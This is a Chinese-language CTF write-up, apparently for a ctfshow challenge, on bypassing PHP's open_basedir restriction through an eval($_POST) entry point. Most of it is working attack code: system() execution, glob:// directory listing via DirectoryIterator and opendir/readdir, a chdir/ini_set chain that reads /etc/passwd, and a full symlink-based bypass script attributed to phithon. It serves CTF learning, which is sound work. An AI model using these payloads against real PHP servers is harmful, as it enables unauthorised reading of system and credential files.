講解
open_basedir是php.ini中的一個配置選項,可用于將用戶訪問文件的活動范圍限制在指定的區域。
假設open_basedir=/var/www/html/web1/:/tmp/,那么通過web1訪問服務器的用戶就無法獲取服務器上除了/var/www/html/web1/和/tmp/這兩個目錄以外的文件。
ctfshow題目:?
error_reporting(0);
highlight_file(__FILE__);eval($_POST[1]);
利用命令執行函數Bypass
open_basedir對命令執行函數沒有限制,我們可以使用system()函數讀到目標文件
利用glob://偽協議Bypass?
只是用glob://偽協議是無法直接繞過的,它需要結合其他函數組合利用,主要有以下兩種利用方式,局限性在于它們都只能列出根目錄下和open_basedir指定的目錄下的文件,不能列出除前面的目錄以外的目錄中的文件,且不能讀取文件內容。?
方式1—DirectoryIterator+glob://
DirectoryIterator是php5中增加的一個類,為用戶提供一個簡單的查看目錄的接口。
DirectoryIterator與glob://結合將無視open_basedir,列舉出根目錄下的文件?
<?php
一句話payload
$c = "glob:///*"
$a = new DirectoryIterator($c);
foreach($a as $f){echo($f->__toString().'<br>');
}
?>
方式2——opendir()+readdir()+glob://
opendir()函數為打開目錄句柄,readdir()函數為從目錄句柄中讀取條目?
一句話
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit(0);
?利用chdir()與ini_set()組合Bypass
payload:其中chdir('..')
盡量多,確保到達根目錄
mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');
P神腳本繞過?
傳參file為
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){mkdir($paths[$i]);chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name);chdir($name);$j++;
}
for ($i = 0; $i <= $j; $i++) { chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');function getRelativePath($from, $to) {// some compatibility fixes for Windows paths$from = rtrim($from, '\/') . '/';$from = str_replace('\\', '/', $from);$to = str_replace('\\', '/', $to);$from = explode('/', $from);$to = explode('/', $to);$relPath = $to;foreach($from as $depth => $dir) {// find first non-matching dirif($dir === $to[$depth]) {// ignore this directoryarray_shift($relPath);} else {// get number of remaining dirs to $from$remaining = count($from) - $depth;if($remaining > 1) {// add traversals up to first matching dir$padLength = (count($relPath) + $remaining - 1) * -1;$relPath = array_pad($relPath, $padLength, '..');break;} else {$relPath[0] = './' . $relPath[0];}}}return implode('/', $relPath);
}function delfile($deldir){if (@is_file($deldir)) {@chmod($deldir,0777);return @unlink($deldir);}else if(@is_dir($deldir)){if(($mydir = @opendir($deldir)) == NULL) return false;while(false !== ($file = @readdir($mydir))){$name = File_Str($deldir.'/'.$file);if(($file!='.') && ($file!='..')){delfile($name);}} @closedir($mydir);@chmod($deldir,0777);return @rmdir($deldir) ? true : false;}
}function File_Str($string)
{return str_replace('//','/',str_replace('\\','/',$string));
}function getRandStr($length = 6) {$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$randStr = '';for ($i = 0; $i < $length; $i++) {$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);}return $randStr;
}